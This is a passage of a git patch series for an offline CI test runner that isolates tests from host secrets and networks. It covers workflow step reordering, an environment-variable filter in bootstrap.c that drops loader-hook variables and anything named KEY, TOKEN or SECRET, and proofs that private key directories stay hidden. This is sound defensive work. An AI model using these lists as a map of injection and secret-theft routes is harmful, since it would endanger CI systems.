install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} @@ -515,6 +513,8 @@ jobs: HEAD_SHA: ${{ github.event.pull_request.head.sha || github.sha }} RED_MAIN_OID: ${{ needs.changeset.outputs.red_main_oid }} run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Complete layout proof run: bun scripts/ci-proof.ts layout --shard=${{ matrix.shard }}/2 - name: Proof receipts and failure diagnostics @@ -563,8 +563,6 @@ jobs: with: bun-version: "1.4.2" - run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} @@ -572,6 +570,8 @@ jobs: HEAD_SHA: ${{ github.event.pull_request.head.sha || github.sha }} RED_MAIN_OID: ${{ needs.changeset.outputs.red_main_oid }} run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Complete captures proof run: bun scripts/ci-proof.ts captures - name: Proof receipts and failure diagnostics @@ -618,8 +618,6 @@ jobs: with: bun-version: "1.4.2" - run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} @@ -627,6 +625,8 @@ jobs: HEAD_SHA: ${{ github.event.pull_request.head.sha || github.sha }} RED_MAIN_OID: ${{ needs.changeset.outputs.red_main_oid }} run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Complete endurance proof run: bun scripts/ci-proof.ts endurance - name: Proof receipts and failure diagnostics @@ -746,8 +746,6 @@ jobs: with: bun-version: "1.4.2" - run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} @@ -755,6 +753,8 @@ jobs: HEAD_SHA: ${{ github.event.pull_request.head.sha || github.sha }} RED_MAIN_OID: ${{ needs.changeset.outputs.red_main_oid }} run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Repeat changed browser, layout and story specs under CPU load timeout-minutes: 20 env: diff --git a/.github/workflows/heavy-feedback.yml b/.github/workflows/heavy-feedback.yml index 64549aa371..ba0c349dfe 100644 --- a/.github/workflows/heavy-feedback.yml +++ b/.github/workflows/heavy-feedback.yml @@ -106,8 +106,6 @@ jobs: - id: verify_install timeout-minutes: 1 run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute the same affected selection id: verify_plan timeout-minutes: 1 @@ -116,6 +114,8 @@ jobs: HEAD_SHA: "${{ inputs.head_sha }}" FEEDBACK_PR: "${{ inputs.pr }}" run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Strict types and curated fast tests concurrently on this runner id: verify_proof timeout-minutes: 4 @@ -325,14 +325,14 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" HEAD_SHA: "${{ inputs.head_sha }}" FEEDBACK_PR: "${{ inputs.pr }}" run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Complete browser proof run: "bun scripts/ci-proof.ts browser --shard=${{ matrix.shard }}/3" - name: Proof receipts and failure diagnostics @@ -365,14 +365,14 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" HEAD_SHA: "${{ inputs.head_sha }}" FEEDBACK_PR: "${{ inputs.pr }}" run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Complete layout proof run: "bun scripts/ci-proof.ts layout --shard=${{ matrix.shard }}/2" - name: Proof receipts and failure diagnostics @@ -399,14 +399,14 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" HEAD_SHA: "${{ inputs.head_sha }}" FEEDBACK_PR: "${{ inputs.pr }}" run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Complete captures proof run: bun scripts/ci-proof.ts captures - name: Proof receipts and failure diagnostics @@ -433,14 +433,14 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" HEAD_SHA: "${{ inputs.head_sha }}" FEEDBACK_PR: "${{ inputs.pr }}" run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Complete endurance proof run: bun scripts/ci-proof.ts endurance - name: Proof receipts and failure diagnostics @@ -521,14 +521,14 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" HEAD_SHA: "${{ inputs.head_sha }}" FEEDBACK_PR: "${{ inputs.pr }}" run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: "Repeat changed browser, layout and story specs under CPU load" timeout-minutes: 20 env: diff --git a/scripts/offline-runner/bootstrap.c b/scripts/offline-runner/bootstrap.c index 1d203c1673..62dcc6d919 100644 --- a/scripts/offline-runner/bootstrap.c +++ b/scripts/offline-runner/bootstrap.c @@ -52,7 +52,7 @@ static int inside_view(void) { } static int loader(const char *key) {return !strncmp(key,"LD_",3)||!strncmp(key,"DYLD_",5)||!strncmp(key,"PYTHON",6)||!strcmp(key,"NODE_OPTIONS")||!strcmp(key,"BUN_OPTIONS")||!strcmp(key,"BASH_ENV")||!strcmp(key,"ENV");} static int keep(const char *key) { - static const char *fixed[]={"PATH","LANG","LC_ALL","TERM","TZ","TMPDIR","USER","LOGNAME","SUDO_UID","SUDO_GID","GITHUB_ACTIONS","RUNNER_ENVIRONMENT","GITHUB_ENV","GITHUB_PATH","GITHUB_OUTPUT","GITHUB_STEP_SUMMARY","GITHUB_RUN_ID","GITHUB_RUN_ATTEMPT","GITHUB_JOB","CI","PUPPETEER_EXECUTABLE_PATH","BRAIN_NATIVE_RECEIPT","NODE_CHANNEL_FD","NODE_CHANNEL_SERIALIZATION_MODE",NULL}; + static const char *fixed[]={"PATH","LANG","LC_ALL","TERM","TZ","TMPDIR","USER","LOGNAME","SUDO_UID","SUDO_GID","GITHUB_ACTIONS","RUNNER_ENVIRONMENT","GITHUB_ENV","GITHUB_PATH","GITHUB_OUTPUT","GITHUB_STEP_SUMMARY","GITHUB_RUN_ID","GITHUB_RUN_ATTEMPT","GITHUB_JOB","GITHUB_EVENT_PATH","GITHUB_EVENT_NAME","GITHUB_SHA","GITHUB_REF","GITHUB_REPOSITORY","GITHUB_BASE_REF","GITHUB_HEAD_REF","CI","CI_PLAN_PATH","CI_COMMAND_RECEIPTS","INSTALL_OUTCOME","PLAN_OUTCOME","PROOF_OUTCOME","PUPPETEER_EXECUTABLE_PATH","BRAIN_NATIVE_RECEIPT","NODE_CHANNEL_FD","NODE_CHANNEL_SERIALIZATION_MODE",NULL}; for(int i=0;fixed[i];i++)if(!strcmp(key,fixed[i]))return 1; if(strncmp(key,"BRAIN_TEST_",11)&&strncmp(key,"BRAIN_WORKSPACE_",16)&&strncmp(key,"BRAIN_REQUIRE_",14))return 0; return !strstr(key,"KEY")&&!strstr(key,"TOKEN")&&!strstr(key,"SECRET")&&!strstr(key,"AUTH")&&!strstr(key,"CREDENTIAL")&&!strstr(key,"PROXY")&&!strstr(key,"HELPER"); diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 44f96c948f..3556df23b7 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1568,7 +1568,7 @@ "tests/ci-throughput.test.ts":{"sha256":"ee380795d993761b1586c94f32175c6042245d6ba81676a76b0d8d055e2fa895","compatible":true}, "tests/ci-timings-collection.test.ts":{"sha256":"a17ba2a73b50228ac3ca244876934ef84bc6fbe49dd004d9bc165da2c284507a","compatible":true}, "tests/ci-timings.test.ts":{"sha256":"26bf3a49ec7dcacd362b8c395fad3ae99eb41881f059a8faaac91720b024a4ac","compatible":true}, - "tests/ci-workflows.test.ts":{"sha256":"9968d4827122de14983890eefb277a71a33c9703a703299e7d35e229428064c0","compatible":true}, + "tests/ci-workflows.test.ts":{"sha256":"6c4971598118123fc83e70ac4516017eaa7d2436b79149c3febba32087425345","compatible":true}, "tests/claude-title-provenance.test.ts":{"sha256":"3db8abc829a8015022f266906bf127d39d9bb1b61a305eb60c9d2279209d8678","compatible":true}, "tests/claude-worker.test.ts":{"sha256":"5ecb0675192b0906256e355b18349b27ac5a7392220d15e1153b47e23988d8b3","compatible":true}, "tests/clean.test.ts":{"sha256":"7edfbc4dfe63b927670b3eb8ff438b562348d9e12a05b92a49000124d065b785","compatible":true}, diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 167980f05b..7339d67042 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -527,7 +527,7 @@ def forward(sig, _frame): if requested not in (expected,expected+['--mutations'],expected+['--unit-queue']): refusal('unknown fixture control') OUTER, COMMAND = requested, ['/usr/bin/true'] else: - outer_files = {'ci-proof.ts','browser-determinism.ts','test-determinism.ts','prove-worker-identity.ts','prove-native-host.ts','prove-reference-pool.ts','visual.mjs','capture.ts','check-pr.ts'} + outer_files = {'ci-runner.ts','ci-verify-summary.ts','ci-proof.ts','browser-determinism.ts','test-determinism.ts','prove-worker-identity.ts','prove-native-host.ts','prove-reference-pool.ts','visual.mjs','capture.ts','check-pr.ts'} if len(COMMAND)>1 and pathlib.Path(COMMAND[1]).resolve().parent == TOOL_ROOT / 'scripts' and pathlib.Path(COMMAND[1]).name in outer_files: OUTER, COMMAND = COMMAND, ['/usr/bin/true'] elif len(COMMAND)>2 and COMMAND[1]=='run' and COMMAND[2] in {'test:browser','test:layout','test:endurance','visual','visual:update','check:pr','captures'}: diff --git a/tests/ci-workflows.test.ts b/tests/ci-workflows.test.ts index c03acbb361..aef47e669c 100644 --- a/tests/ci-workflows.test.ts +++ b/tests/ci-workflows.test.ts @@ -753,7 +753,7 @@ test("the browser repetition job enters the pinned container as the browser jobs expect(runs(layout.steps), command).toContain(command); expect(runs(job.steps), `CONTAINER_PREREQUISITE:${command}`).toContain(command); } - expect(runs(job.steps)).toEqual(["bun install --frozen-lockfile", "bash scripts/ci-offline-setup.sh", "bun scripts/ci-plan.ts", REPEAT]); + expect(runs(job.steps)).toEqual(["bun install --frozen-lockfile", "bun scripts/ci-plan.ts", "bash scripts/ci-offline-setup.sh", REPEAT]); expect(job.if).toBe("${{ !cancelled() && (needs.changeset.result == 'success' || github.event_name == 'push') && needs.changeset.outputs.browser_determinism == 'true' }}"); expect((ci.jobs.changeset!.outputs as Obj).browser_determinism).toBe("${{ steps.plan.outputs.browser_determinism }}"); const feedback = Bun.YAML.parse(read("heavy-feedback.yml")) as Workflow; From 6e1ebd871e032627d12c17467111547ad97a95d1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 03:31:32 +0000 Subject: [PATCH 182/187] test: export determinism JUnit after offline payload shutdown --- scripts/ci-proof.ts | 5 +++ scripts/offline-runner/proof.py | 54 ++++++++++++++++++++++++++++++++ scripts/offline-runner/runner.py | 40 +++++++++++++++++++---- 3 files changed, 93 insertions(+), 6 deletions(-) diff --git a/scripts/ci-proof.ts b/scripts/ci-proof.ts index 5a6fdfbce8..5d973cf369 100644 --- a/scripts/ci-proof.ts +++ b/scripts/ci-proof.ts @@ -177,6 +177,11 @@ if (import.meta.main) { commands.unshift({ name: "pinned offline workspace lease container prerequisite", argv: ["docker", "pull", image], env: {} }); } if (category === "determinism") { + // This fixed runtime control exercises the outer/private XML handoff, + // which an already-contained unit test cannot exercise on its own. + commands.unshift({ name: "offline first-file JUnit handoff", env: {}, + argv: ["sudo", "-n", join(root, ".test-tools/entry"), "--fixture-control", "/usr/bin/python3", "-I", "-S", + join(root, "scripts/offline-runner/proof.py"), "--junit-report"] }); const { selection, partition } = determinismPartition(plan, shard); if (selection.partitions.length > 1) console.log(`Partition ${shard} of a selection split by reviewed weight: ${selection.files.length} file(s), ` + `${selection.weightSeconds.toFixed(1)} weighted s per pass, ${selection.repetitions} repetition(s) each (${selection.requested} requested); ` + diff --git a/scripts/offline-runner/proof.py b/scripts/offline-runner/proof.py index e5df625439..e7fdb7b915 100644 --- a/scripts/offline-runner/proof.py +++ b/scripts/offline-runner/proof.py @@ -431,6 +431,58 @@ def execute(name,assertion=None): for path,data in originals.items():path.write_bytes(data) +def junit_report_controls(): + """Actual outer coordinator -> isolated Bun -> fixed post-exit XML handoff.""" + import hashlib + import pwd + import re + import uuid + user=pwd.getpwuid(int(os.environ.get('SUDO_UID','1000'))) + groups=os.getgrouplist(user.pw_name,user.pw_gid) + token=uuid.uuid4().hex + selected=['tests/odysseus-junit-first-'+token+'.test.ts','tests/odysseus-junit-second-'+token+'.test.ts'] + tests=[ROOT/path for path in selected] + report=ROOT/'tmp'/('offline-junit-proof-'+token+'.json') + xml=ROOT/'tmp/determinism-junit.xml' + saved=xml.with_name('determinism-junit-saved-'+token+'.xml') + xml.parent.mkdir(exist_ok=True) + if xml.exists():xml.rename(saved) + prefix=['/usr/bin/setpriv','--reuid='+str(user.pw_uid),'--regid='+str(user.pw_gid),'--groups='+','.join(map(str,groups)),str(ENTRY),'bun'] + def run(arguments): + return subprocess.run(prefix+arguments,cwd=ROOT,stdin=subprocess.DEVNULL,capture_output=True,text=True,timeout=240) + try: + for index,path in enumerate(tests): + path.write_text('import {test,expect} from "bun:test";test("Odysseus report '+str(index)+'",()=>expect(1).toBe(1));\n') + os.chmod(path,0o644) + # Observe the reporter's actual bytes before the namespace disappears. + # This fixed inner observer is not an artifact-export admission row. + program='''import {observedRepetitions} from "./scripts/test-determinism.ts"; +const files=JSON.parse(process.argv[1]); +const child=Bun.spawn([process.execPath,"run","test","--rerun-each=2","--reporter=junit","--reporter-outfile=tmp/determinism-junit.xml",...files.map(file=>"./"+file)],{stdin:"ignore",stdout:"inherit",stderr:"inherit"}); +if(await child.exited!==0)process.exit(1); +const bytes=await Bun.file("tmp/determinism-junit.xml").arrayBuffer(); +console.log(JSON.stringify({kind:"inner-junit-observation",bytes:bytes.byteLength,sha256:new Bun.CryptoHasher("sha256").update(bytes).digest("hex"),observed:[...observedRepetitions(new TextDecoder().decode(bytes),files)]}));''' + inner=run(['-e',program,json.dumps(selected)]) + named(inner.returncode==0,'JUNIT_INNER_REPORTER_EXECUTES: '+inner.stderr[-2000:]) + observed=next(json.loads(line) for line in inner.stdout.splitlines() if line.startswith('{') and 'inner-junit-observation' in line) + named(observed['bytes']>0 and observed['observed']==[[name,2] for name in selected],'JUNIT_BUN_WRITES_FIRST_FILE_AND_EVERY_REPETITION') + print(json.dumps({'proof':'JUNIT_BUN_WRITES_FIRST_FILE_AND_EVERY_REPETITION','result':'pass',**observed}),flush=True) + first=re.search(r'^(tests/[^\n]+\.test\.ts):',inner.stderr,re.M) + named(first is not None and first[1]==selected[0],'JUNIT_SELECTED_FIRST_FILE_RAN_FIRST') + named(not xml.exists(),'JUNIT_UNREGISTERED_OBSERVER_EXPORTS_NOTHING') + actual=run([str(ROOT/'scripts/test-determinism.ts'),'--repetitions=2','--burners=1','--deadline-factor=1','--report='+str(report),*selected]) + value=json.loads(report.read_text()) + named(actual.returncode==0 and value['outcome']=='passed' and all(row['observed']==2 for row in value['files']),'FIRST_FILE_REPORT_SURVIVES_REAL_OFFLINE_ENTRY: '+actual.stderr[-2000:]) + records=[json.loads(line) for line in actual.stderr.splitlines() if line.startswith('{') and 'offline-runner-report-export' in line] + named(len(records)==1,'JUNIT_ONE_FIXED_POST_EXIT_EXPORT') + digest=hashlib.sha256(xml.read_bytes()).hexdigest() + named(records[0]['sourceSha256']==records[0]['exportedSha256']==digest,'JUNIT_CALLER_READS_BUN_EXACT_BYTES') + print(json.dumps({'proof':'FIRST_FILE_REPORT_SURVIVES_REAL_OFFLINE_ENTRY','result':'pass','files':2,'repetitions':2,'sourceSha256':records[0]['sourceSha256'],'callerSha256':digest}),flush=True) + finally: + for path in [*tests,report,xml]:path.unlink(missing_ok=True) + if saved.exists():saved.rename(xml) + + def failed_payload_cleanup_control(): result=subprocess.run([str(ENTRY),'/odysseus-deliberately-missing-executable'],capture_output=True,text=True) rows=[json.loads(line) for line in result.stderr.splitlines() if line.startswith('{')] @@ -475,6 +527,8 @@ def review_mutations(): try: if __import__('sys').argv[1:]==['--descriptors']: descriptor_controls();descriptor_mutation();raise SystemExit(0) + if __import__('sys').argv[1:]==['--junit-report']: + junit_report_controls();raise SystemExit(0) if __import__('sys').argv[1:]==['--unit-queue']: unit_queue_controls();raise SystemExit(0) if __import__('sys').argv[1:]==['--mutations']: diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 7339d67042..c2a1c91bc1 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -336,17 +336,34 @@ def finish_view(backing, prepared, caller, profile, before): +def determinism_report(): + # One fixed artifact from the actual repetition command. Never expose a + # host output directory/descriptor to running tests. + return (len(COMMAND) > 3 and COMMAND[0] in ('bun', str(BUN)) + and COMMAND[1:3] == ['run', 'test'] + and '--reporter=junit' in COMMAND + and '--reporter-outfile=tmp/determinism-junit.xml' in COMMAND) + + +def exports_reports(): + return unit_controller() or determinism_report() + + def export_unit_reports(prepared, caller): - if not unit_controller(): return + if not exports_reports(): return source=prepared/'tmp' destination=ROOT/'tmp' - for argument in COMMAND[2:]: + for argument in COMMAND[2:] if unit_controller() else []: if argument.startswith('--reports='): requested=pathlib.Path(argument.split('=',1)[1]) destination=pathlib.Path(os.path.normpath(str(requested if requested.is_absolute() else ROOT/requested))) # The same absolute path was private in the runner view. source=prepared/destination.relative_to(ROOT) if destination.is_relative_to(ROOT) else prepared.parent/'reports' if not source.exists(): return + if source.is_symlink() or not source.is_dir():raise OSError(errno.EPERM,'linked report source') + allowed=prepared.parent/'reports' if unit_controller() and source==prepared.parent/'reports' else prepared + if not source.resolve().is_relative_to(allowed.resolve()):raise OSError(errno.EPERM,'external report source') + if destination.is_symlink():raise OSError(errno.EPERM,'linked report destination') if os.geteuid()==0: os.setgroups(caller['groups']);os.setgid(caller['gid']);os.setuid(caller['uid']) def copy(src,dst): @@ -361,8 +378,19 @@ def copy(src,dst): dst.parent.mkdir(mode=0o700,parents=True,exist_ok=True) output=os.open(dst,os.O_WRONLY|os.O_CREAT|os.O_TRUNC|os.O_NOFOLLOW,0o600) with os.fdopen(output,'wb') as stream,src.open('rb') as incoming:shutil.copyfileobj(incoming,stream) - for item in source.iterdir(): - if item.name.startswith('unit-'):copy(item,destination/item.name) + if unit_controller(): + for item in source.iterdir(): + if item.name.startswith('unit-'):copy(item,destination/item.name) + else: + item=source/'determinism-junit.xml' + if not item.exists():return + copy(item,destination/item.name) + # A single post-exit receipt proves the caller reads Bun's exact XML. + source_bytes=item.read_bytes();exported_bytes=(destination/item.name).read_bytes() + source_hash=hashlib.sha256(source_bytes).hexdigest();exported_hash=hashlib.sha256(exported_bytes).hexdigest() + if source_hash!=exported_hash:raise OSError(errno.EIO,'report export bytes changed') + print(json.dumps({'kind':'offline-runner-report-export','artifact':item.name,'bytes':len(source_bytes), + 'sourceSha256':source_hash,'exportedSha256':exported_hash}),file=sys.stderr,flush=True) @@ -432,7 +460,7 @@ def run(caller, profile): os._exit(125) service_control.close() listener.close() - if unit_controller(): + if exports_reports(): reader,export_control=os.pipe2(os.O_CLOEXEC) export_pid=os.fork() if export_pid==0: @@ -524,7 +552,7 @@ def forward(sig, _frame): if COMMAND[:1] == ['--fixture-control']: requested = COMMAND[1:] expected = ['/usr/bin/python3','-I','-S',str(TOOL_ROOT / 'scripts/offline-runner/proof.py')] - if requested not in (expected,expected+['--mutations'],expected+['--unit-queue']): refusal('unknown fixture control') + if requested not in (expected,expected+['--mutations'],expected+['--unit-queue'],expected+['--junit-report']): refusal('unknown fixture control') OUTER, COMMAND = requested, ['/usr/bin/true'] else: outer_files = {'ci-runner.ts','ci-verify-summary.ts','ci-proof.ts','browser-determinism.ts','test-determinism.ts','prove-worker-identity.ts','prove-native-host.ts','prove-reference-pool.ts','visual.mjs','capture.ts','check-pr.ts'} From d9d8c09840c8dfe830e091290d0810be197a2e66 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 05:13:07 +0000 Subject: [PATCH 183/187] test: inventory public system inputs in the offline view --- docs/process/testing.md | 9 + scripts/offline-runner/prepare.sh | 2 +- scripts/offline-runner/proof.py | 19 +- scripts/offline-runner/rootless-files.json | 2 +- scripts/offline-runner/runner.py | 28 ++- scripts/offline-runner/system-inputs.json | 213 +++++++++++++++++++++ scripts/offline-runner/system_inputs.py | 122 ++++++++++++ tests/offline-runner.test.ts | 57 +++++- 8 files changed, 432 insertions(+), 20 deletions(-) create mode 100644 scripts/offline-runner/system-inputs.json create mode 100644 scripts/offline-runner/system_inputs.py diff --git a/docs/process/testing.md b/docs/process/testing.md index 2052cee1cc..c47d9815b3 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -111,6 +111,15 @@ startup hooks before project code runs; the preload refuses native qualification for that unsupported entry and cannot retroactively clean it. Dependency/image acquisition is preparation, outside the offline test phase. +The private view's public system inputs are listed in +[`system-inputs.json`](../../scripts/offline-runner/system-inputs.json). +Tools, public TLS trust/configuration, linker, identity, locale, timezone and +font inputs are read-only. Scratch paths and POSIX shared memory are fresh; +host socket directories, private keys and managed settings are excluded. +The existing cgroup v2 hierarchy retains its host mount flags and kernel +permissions. The launcher neither grants delegation nor moves processes to +another cgroup; PID lists retain the kernel's PID-namespace filtering. + Automatic per-launch shell-mask wrappers are removed under the maintainer's [O1 ruling for #4313](https://github.com/schlessera/brain-kit/issues/4313). Their extra process changed signal delivery and could keep an aborted worker's diff --git a/scripts/offline-runner/prepare.sh b/scripts/offline-runner/prepare.sh index f8b3008e70..708b1fb898 100755 --- a/scripts/offline-runner/prepare.sh +++ b/scripts/offline-runner/prepare.sh @@ -21,7 +21,7 @@ printf 'Prepared static test entry. Add %s/.test-tools to PATH before invoking p if [[ "${1:-}" = --install-system ]]; then [[ $(id -u) = 0 ]] || { echo 'Install the fixed setup entry explicitly as root.' >&2; exit 1; } install -d -m 0755 /usr/local/libexec/brain-test - for runner_part in runner.py inputs.py view_client.py view_service.py; do + for runner_part in runner.py inputs.py system_inputs.py system-inputs.json view_client.py view_service.py; do install -m 0644 "$runner_root/scripts/offline-runner/$runner_part" "/usr/local/libexec/brain-test/$runner_part" done "$runner_cc" -static -O2 -Wall -Wextra -Werror \ diff --git a/scripts/offline-runner/proof.py b/scripts/offline-runner/proof.py index e7fdb7b915..96a809cfdd 100644 --- a/scripts/offline-runner/proof.py +++ b/scripts/offline-runner/proof.py @@ -1,5 +1,6 @@ """Controlled outer fixtures for the offline runner. No real provider or key.""" import ctypes +import contextlib import json import os import pathlib @@ -51,6 +52,15 @@ def connects(family,address): finally:outer.close() for path in [fixture['unix'],'/proc/%d/root%s'%(fixture['pid'],fixture['unix'])]: named(not pathlib.Path(path).exists(),'HOST_UNIX_RELAY_NO_PROC_ALIAS') +for path in fixture['privateSystemMarkers']: + named(not pathlib.Path(path).exists(),'HOST_SYSTEM_SCRATCH_AND_PRIVATE_KEYS_NOT_PROJECTED') +from multiprocessing import shared_memory +area=shared_memory.SharedMemory(create=True,size=64) +try: + area.buf[:6]=b'Ithaca';peer=shared_memory.SharedMemory(name=area.name) + try:named(bytes(peer.buf[:6])==b'Ithaca','PRIVATE_POSIX_SHARED_MEMORY_WORKS') + finally:peer.close() +finally:area.close();area.unlink() local=socket.socket(socket.AF_UNIX);local.bind('/tmp/odysseus-fixture.sock');local.listen() peer=socket.socket(socket.AF_UNIX);peer.connect('/tmp/odysseus-fixture.sock');accepted,_=local.accept();peer.sendall(b'Ithaca');named(accepted.recv(6)==b'Ithaca','FIXTURE_UNIX_SOCKET_WORKS');accepted.close();peer.close();local.close() buffer=ctypes.create_string_buffer(4096) @@ -87,7 +97,7 @@ def run_case(rootless=False): v4, v6 = listener(socket.AF_INET), listener(socket.AF_INET6) queue = LIBC.msgget(0, 0o1000 | 0o666) named(queue >= 0, 'OUTER_SYSTEM_V_QUEUE_POSITIVE_CONTROL') - with tempfile.TemporaryDirectory(prefix='odysseus-outer-ipc-') as directory: + with tempfile.TemporaryDirectory(prefix='odysseus-outer-ipc-') as directory, contextlib.ExitStack() as markers: os.chmod(directory,0o755) relay = socket.socket(socket.AF_UNIX) relay.bind(directory + '/relay.sock');os.chmod(directory+'/relay.sock',0o666);relay.listen() @@ -97,6 +107,13 @@ def run_case(rootless=False): client=socket.socket(socket.AF_UNIX);client.connect(directory+'/relay.sock');accepted,_=relay.accept();accepted.close();client.close() uid,gid,groups=(1000,1000,[]) if rootless else (os.getuid(),os.getgid(),os.getgroups()) value={'v4':v4.getsockname(),'v6':v6.getsockname(),'unix':directory+'/relay.sock','queue':queue,'pid':os.getpid(),'uid':uid,'gid':gid,'groups':groups,'rootless':rootless,'root':str(ROOT),'bun':str(ROOT/'.test-tools/bun-path')} + value['privateSystemMarkers']=[] + for parent in ['/var/tmp','/dev/shm',*(['/etc/ssl/private'] if not rootless and pathlib.Path('/etc/ssl/private').is_dir() else [])]: + folder=pathlib.Path(markers.enter_context(tempfile.TemporaryDirectory(prefix='odysseus-host-system-',dir=parent))) + os.chmod(folder,0o755) + marker=folder/'host-only';marker.write_text('Odysseus host-only fixture');os.chmod(marker,0o444) + named(marker.read_text()=='Odysseus host-only fixture','HOST_SYSTEM_MARKER_POSITIVE_CONTROL') + value['privateSystemMarkers'].append(str(marker)) value['bun']=(ROOT/'.test-tools/bun-path').read_text().strip() if rootless: control='import ctypes,socket;libc=ctypes.CDLL(None);buffer=ctypes.create_string_buffer(4096);assert libc.msgctl('+str(queue)+',2,ctypes.byref(buffer))==0;s=socket.socket(socket.AF_UNIX);s.connect('+repr(directory+'/relay.sock')+');s.close()' diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 3556df23b7..618c292944 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1649,7 +1649,7 @@ "tests/native-pool-io.test.ts":{"sha256":"f928a2835f8fc954019e57ff21a2959c6609a4c2f72cc48c1297632757f14762","compatible":true}, "tests/native-prerequisites.test.ts":{"sha256":"5f808ad7a04c19bf97ad3f1cf2c58b476a07e8a95b6ba5431c1c3b098fc173a3","compatible":true}, "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, - "tests/offline-runner.test.ts":{"sha256":"dc214a0aa58f29ff01b1335a2cc21646131fdb7d468e4503f2097e8e80391a11","compatible":true}, + "tests/offline-runner.test.ts":{"sha256":"49eeac0500c31ff8de30f9acf9cc0a91f3791e77ccd782d490d4b45b2d2d9c38","compatible":true}, "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, "tests/offline-unit-identity.test.ts":{"sha256":"a74d78620e82120b9daa6b210dc36c90a52a146daa8c18d05455f9426e298131","compatible":true}, "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index c2a1c91bc1..7fdb9271b4 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -186,30 +186,22 @@ def finish_view(backing, prepared, caller, profile, before): view = pathlib.Path(backing) / 'view' view.mkdir() mount('tmpfs', view, 'tmpfs', MS_NOSUID, 'mode=0755') + spec = importlib.util.spec_from_file_location('system_inputs', pathlib.Path(__file__).with_name('system_inputs.py')) + system_module = importlib.util.module_from_spec(spec); spec.loader.exec_module(system_module) + system = system_module.SystemInputs(caller) # Host IPC directories, home and arbitrary host proc roots are absent. - for name in ('usr',): - for folder, _dirs, files in os.walk('/'+name,followlinks=False): - for entry in files: - info=os.lstat(os.path.join(folder,entry)) - if stat.S_ISSOCK(info.st_mode) or stat.S_ISFIFO(info.st_mode): - raise OSError(errno.EPERM,'host IPC in tool input') - bind('/' + name, view / name) + system.tools(view, bind) for name, target in [('bin', 'usr/bin'), ('sbin', 'usr/sbin'), ('lib', 'usr/lib'), ('lib64', 'usr/lib64')]: if pathlib.Path('/' + name).exists(): (view / name).symlink_to(target) # Match ordinary empty host mount points. A child that first ro-binds / # cannot create a missing parent before overlaying it with its own tmpfs. # These are private 